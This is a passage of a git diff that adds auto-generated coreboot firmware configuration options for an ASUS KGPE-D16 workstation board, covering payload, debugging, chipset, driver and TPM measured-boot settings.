CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y +# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set + +# +# Debugging +# + +# +# CPU Debug Settings +# +CONFIG_HAVE_DEBUG_CAR=y +# CONFIG_DEBUG_CAR is not set + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +# CONFIG_DEBUG_PIRQ is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_TRACE is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_HAVE_EM100_SUPPORT is not set +CONFIG_ENABLE_APIC_EXT_ID=y +CONFIG_WARNINGS_ARE_ERRORS=y +# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set +# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set +# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set +# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set +# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set +# CONFIG_REG_SCRIPT is not set +# CONFIG_NO_XIP_EARLY_STAGES is not set +# CONFIG_EARLY_CBMEM_LIST is not set +CONFIG_RELOCATABLE_MODULES=y +CONFIG_NO_STAGE_CACHE=y +CONFIG_BOOTBLOCK_CUSTOM=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 426cfe806..33490fc80 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -1,17 +1,721 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +# CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_NO_RELOCATABLE_RAMSTAGE=y +# CONFIG_RELOCATABLE_RAMSTAGE is not set +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_ADI is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_ADVANSUS is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y +# CONFIG_VENDOR_AVALUE is not set +# CONFIG_VENDOR_BAP is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_ELMEX is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ESD is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GIZMOSPHERE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IEI is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIPPERT is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SCALEWAY is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TYAN is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_DIR="asus/kgpe-d16" +CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" +CONFIG_MAX_CPUS=32 +CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 +CONFIG_MAINBOARD_VENDOR="ASUS" +CONFIG_APIC_ID_OFFSET=0x0 +CONFIG_HW_MEM_HOLE_SIZEK=0x100000 +CONFIG_MAX_PHYSICAL_CPUS=4 +CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 +CONFIG_HT_CHAIN_UNITID_BASE=0x0 +CONFIG_IRQ_SLOT_COUNT=13 +CONFIG_VGA_BIOS_ID="1a03,2000" +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DIMM_SPD_SIZE=256 +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" +CONFIG_DEVICETREE="devicetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +# CONFIG_BOARD_ASUS_AM1I_A is not set +# CONFIG_BOARD_ASUS_F2A85_M is not set +# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set +# CONFIG_BOARD_ASUS_F2A85_M_LE is not set +# CONFIG_BOARD_ASUS_H61M_CS is not set +# CONFIG_BOARD_ASUS_KCMA_D8 is not set +# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y +# CONFIG_BOARD_ASUS_M4A78_EM is not set +# CONFIG_BOARD_ASUS_M4A785M is not set +# CONFIG_BOARD_ASUS_M4A785TM is not set +# CONFIG_BOARD_ASUS_M5A88_V is not set +# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set +# CONFIG_BOARD_ASUS_P2B_D is not set +# CONFIG_BOARD_ASUS_P2B_DS is not set +# CONFIG_BOARD_ASUS_P2B_F is not set +# CONFIG_BOARD_ASUS_P2B_LS is not set +# CONFIG_BOARD_ASUS_P2B is not set +# CONFIG_BOARD_ASUS_P3B_F is not set +# CONFIG_BOARD_ASUS_P5GC_MX is not set +# CONFIG_BOARD_ASUS_P5QC is not set +# CONFIG_BOARD_ASUS_P5Q_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_PRO is not set +# CONFIG_BOARD_ASUS_P5QL_EM is not set +# CONFIG_BOARD_ASUS_P5QPL_AM is not set +# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_LX is not set +# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set +# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set +CONFIG_POST_IO=y +CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" +CONFIG_DCACHE_RAM_BASE=0xc2000 +CONFIG_DCACHE_RAM_SIZE=0x1e000 +CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f +CONFIG_MAX_REBOOT_CNT=10 +CONFIG_USBDEBUG_HCD_INDEX=0 +CONFIG_OVERRIDE_DEVICETREE="" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_FMDFILE="" +# CONFIG_VBOOT is not set +CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_POST_DEVICE=y +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_TPM_INIT=y +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_DIMM_MAX=4 +CONFIG_TPM_PIRQ=0x0 +CONFIG_TTYS0_LCS=3 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 CONFIG_USBDEBUG=y +CONFIG_IPMI_KCS_REGISTER_SPACING=1 +CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_NO_POST is not set +CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 +CONFIG_HEAP_SIZE=0xc0000 +# CONFIG_CONSOLE_POST is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_2048=y +# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x1000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# CONFIG_SYSTEM_TYPE_LAPTOP is not set +# CONFIG_SYSTEM_TYPE_TABLET is not set +# CONFIG_SYSTEM_TYPE_DETACHABLE is not set +# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set +# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set + +# +# Chipset +# + +# +# SoC +# +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_CPU_ADDR_BITS=48 +CONFIG_MMCONF_BUS_NUMBER=256 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" +# CONFIG_SOC_CAVIUM_CN81XX is not set +CONFIG_ARCH_ARMV8_EXTENSION=0 +CONFIG_STACK_SIZE=0x1000 +# CONFIG_SOC_CAVIUM_COMMON is not set +# CONFIG_SOC_INTEL_GLK is not set +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_TTYS0_BASE=0x2f8 +CONFIG_HPET_MIN_TICKS=0x14 +CONFIG_UART_PCI_ADDR=0x0 +# CONFIG_SOC_MEDIATEK_MT8173 is not set +# CONFIG_SOC_MEDIATEK_MT8183 is not set +# CONFIG_SOC_NVIDIA_TEGRA124 is not set +# CONFIG_SOC_NVIDIA_TEGRA210 is not set +# CONFIG_SOC_QUALCOMM_COMMON is not set +# CONFIG_SOC_QC_IPQ40XX is not set +# CONFIG_SOC_QC_IPQ806X is not set +# CONFIG_SOC_QUALCOMM_QCS405 is not set +# CONFIG_SOC_QUALCOMM_SC7180 is not set +# CONFIG_SOC_QUALCOMM_SDM845 is not set +# CONFIG_SOC_ROCKCHIP_RK3288 is not set +# CONFIG_SOC_ROCKCHIP_RK3399 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set +# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set +# CONFIG_SOC_UCB_RISCV is not set + +# +# CPU +# +CONFIG_CPU_SOCKET_TYPE=0x15 +# CONFIG_EXT_RT_TBL_SUPPORT is not set +CONFIG_CBB=0x0 +CONFIG_CDB=0x18 +CONFIG_XIP_ROM_SIZE=0x80000 +CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y +CONFIG_CPU_AMD_MODEL_10XXX=y +CONFIG_USE_LARGE_DCACHE=y +CONFIG_NUM_IPI_STARTS=1 +CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 +CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 +CONFIG_DCACHE_AP_STACK_SIZE=0x500 +CONFIG_SET_FIDVID=y +CONFIG_LIFT_BSP_APIC_ID=y +CONFIG_SET_FIDVID_DEBUG=y +CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y +# CONFIG_SET_FIDVID_CORE0_ONLY is not set +CONFIG_SET_FIDVID_CORE_RANGE=0 +CONFIG_UDELAY_LAPIC_FIXED_FSB=200 +# CONFIG_CPU_AMD_AGESA is not set +# CONFIG_CPU_AMD_PI is not set +# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set +CONFIG_SSE2=y +# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set +# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set +# CONFIG_CPU_TI_AM335X is not set +CONFIG_PARALLEL_CPU_INIT=y +# CONFIG_PARALLEL_MP is not set +CONFIG_UDELAY_LAPIC=y +# CONFIG_LAPIC_MONOTONIC_TIMER is not set +# CONFIG_UDELAY_TSC is not set +CONFIG_TSC_SYNC_LFENCE=y +# CONFIG_TSC_SYNC_MFENCE is not set +# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set +CONFIG_LOGICAL_CPUS=y +# CONFIG_HAVE_SMI_HANDLER is not set +# CONFIG_NO_SMM is not set +# CONFIG_SMM_ASEG is not set +CONFIG_SMM_TSEG=y +CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 +CONFIG_SMM_STUB_STACK_SIZE=0x400 +# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set +# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set +CONFIG_X86_AMD_FIXED_MTRRS=y +# CONFIG_X86_AMD_INIT_SIPI is not set +# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set +# CONFIG_SOC_SETS_MSRS is not set +CONFIG_CAR_GLOBAL_MIGRATION=y +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +# CONFIG_USES_MICROCODE_HEADER_FILES is not set +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y +CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y + +# +# Northbridge +# +# CONFIG_NORTHBRIDGE_AMD_AGESA is not set +CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y +CONFIG_AGP_APERTURE_SIZE=0x4000000 +CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" +CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y +# CONFIG_HT_CHAIN_DISTRIBUTE is not set +# CONFIG_DIMM_DDR2 is not set +CONFIG_DIMM_DDR3=y +CONFIG_DIMM_REGISTERED=y +CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y +# CONFIG_SVI_HIGH_FREQ is not set + +# +# HyperTransport setup +# +# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set +CONFIG_LIMIT_HT_DOWN_WIDTH_16=y +# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set +CONFIG_LIMIT_HT_UP_WIDTH_16=y +# CONFIG_NORTHBRIDGE_AMD_PI is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y +CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" +# CONFIG_AMD_SB_CIMX is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set +# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set +CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y +CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y +# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set +CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y +CONFIG_SOUTHBRIDGE_AMD_SR5650=y +CONFIG_EXT_CONF_SUPPORT=y +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set +# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set +# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set +# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set + +# +# Super I/O +# +# CONFIG_SUPERIO_ASPEED_AST2400 is not set +# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set +# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set +# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set +CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y +CONFIG_SUPERIO_WINBOND_W83667HG_A=y + +# +# Embedded Controllers +# +# CONFIG_EC_GOOGLE_WILCO is not set +# CONFIG_CAVIUM_BDK is not set +# CONFIG_MAINBOARD_HAS_CHROMEOS is not set +# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set +# CONFIG_UEFI_2_4_BINDING is not set +# CONFIG_UDK_2015_BINDING is not set +# CONFIG_UDK_2017_BINDING is not set +# CONFIG_USE_SIEMENS_HWILIB is not set +# CONFIG_ARM_LPAE is not set +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +# CONFIG_ARCH_POSTCAR_X86_32 is not set +CONFIG_ARCH_RAMSTAGE_X86_32=y +# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set +# CONFIG_ARCH_VERSTAGE_X86_64 is not set +# CONFIG_ARCH_ROMSTAGE_X86_64 is not set +# CONFIG_ARCH_POSTCAR_X86_64 is not set +# CONFIG_ARCH_RAMSTAGE_X86_64 is not set +# CONFIG_USE_MARCH_586 is not set +# CONFIG_AP_IN_SIPI_WAIT is not set +# CONFIG_SIPI_VECTOR_IN_ROM is not set +CONFIG_RAMBASE=0xe00000 +CONFIG_RAMTOP=0x1000000 +# CONFIG_CBMEM_TOP_BACKUP is not set +CONFIG_PC80_SYSTEM=y +# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y +# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set +# CONFIG_HPET_ADDRESS_OVERRIDE is not set +CONFIG_HPET_ADDRESS=0xfed00000 +CONFIG_ID_SECTION_OFFSET=0x80 +# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set +# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" +CONFIG_ACPI_HAVE_PCAT_8259=y +# CONFIG_COLLECT_TIMESTAMPS_NO_TSC is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +# CONFIG_PAGING_IN_CACHE_AS_RAM is not set +# CONFIG_IDT_IN_EVERY_STAGE is not set +# CONFIG_PIRQ_ROUTE is not set + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y +CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y +# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set +CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y +# CONFIG_MULTIPLE_VGA_ADAPTERS is not set + +# +# Display +# +CONFIG_VGA_TEXT_FRAMEBUFFER=y +CONFIG_SMBUS_HAS_AUX_CHANNELS=y +CONFIG_PCI=y +# CONFIG_NO_MMCONF_SUPPORT is not set +CONFIG_MMCONF_SUPPORT=y +CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +# CONFIG_AZALIA_PLUGIN_SUPPORT is not set +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +# CONFIG_EARLY_PCI_BRIDGE is not set +# CONFIG_SOFTWARE_I2C is not set + +# +# Generic Drivers +# +# CONFIG_DRIVERS_AS3722_RTC is not set +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_MAINBOARD_HAS_CRB_TPM is not set +# CONFIG_GIC is not set +CONFIG_IPMI_KCS=y +# CONFIG_DRIVERS_LENOVO_WACOM is not set +# CONFIG_RT8168_GET_MAC_FROM_VPD is not set +# CONFIG_RT8168_SET_LED_MODE is not set +# CONFIG_SMMSTORE_IN_CBFS is not set +CONFIG_SPI_FLASH=y +# CONFIG_SPI_SDCARD is not set +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set +# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set +# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set +# CONFIG_NO_UART_ON_SUPERIO is not set +# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set +# CONFIG_UART_OVERRIDE_REFCLK is not set +# CONFIG_DRIVERS_UART_8250MEM is not set +# CONFIG_DRIVERS_UART_8250MEM_32 is not set +# CONFIG_HAVE_UART_SPECIAL is not set +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_DRIVERS_UART_PL011 is not set +# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_WIFI=y +# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_AMD_PI is not set +CONFIG_DRIVERS_ASPEED_AST2050=y +CONFIG_DRIVERS_ASPEED_AST_COMMON=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_I2C_MAX98373 is not set +# CONFIG_DRIVERS_I2C_MAX98927 is not set +# CONFIG_DRIVERS_I2C_PCA9538 is not set +# CONFIG_DRIVERS_I2C_PCF8523 is not set +# CONFIG_DRIVERS_I2C_PTN3460 is not set +# CONFIG_DRIVERS_I2C_RT1011 is not set +# CONFIG_DRIVERS_I2C_RT5663 is not set +# CONFIG_DRIVERS_I2C_RTD2132 is not set +# CONFIG_DRIVERS_I2C_RX6110SA is not set +# CONFIG_DRIVERS_I2C_SX9310 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set +# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set +CONFIG_DRIVERS_I2C_W83795=y +# CONFIG_PLATFORM_USES_FSP1_0 is not set +# CONFIG_PLATFORM_USES_FSP2_0 is not set +# CONFIG_PLATFORM_USES_FSP2_1 is not set +# CONFIG_INTEL_DDI is not set +# CONFIG_INTEL_EDID is not set +# CONFIG_INTEL_INT15 is not set +# CONFIG_INTEL_GMA_ACPI is not set +# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set +# CONFIG_INTEL_GMA_SWSMISCI is not set +# CONFIG_DRIVER_INTEL_I210 is not set +# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set +# CONFIG_HAVE_INTEL_PTT is not set +# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set +# CONFIG_DRIVER_MAXIM_MAX77686 is not set +# CONFIG_DRIVER_PARADE_PS8625 is not set +# CONFIG_DRIVER_PARADE_PS8640 is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_LPC_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_MAINBOARD_HAS_LPC_TPM=y +CONFIG_VGA=y +# CONFIG_DRIVERS_RICOH_RCE822 is not set +# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set +# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set +# CONFIG_DRIVERS_SIL_3114 is not set +# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set +# CONFIG_DRIVER_TI_TPS65090 is not set +# CONFIG_DRIVERS_TI_TPS65913 is not set +# CONFIG_DRIVERS_TI_TPS65913_RTC is not set +# CONFIG_DRIVERS_USB_ACPI is not set +# CONFIG_COMMONLIB_STORAGE is not set + +# +# Security +# + +# +# Verified Boot (vboot) +# + +# +# Trusted Platform Module +# +CONFIG_TPM1=y +# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y +# CONFIG_USER_TPM2 is not set +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y + +# +# Memory initialization +# +# CONFIG_ACPI_SATA_GENERATOR is not set +# 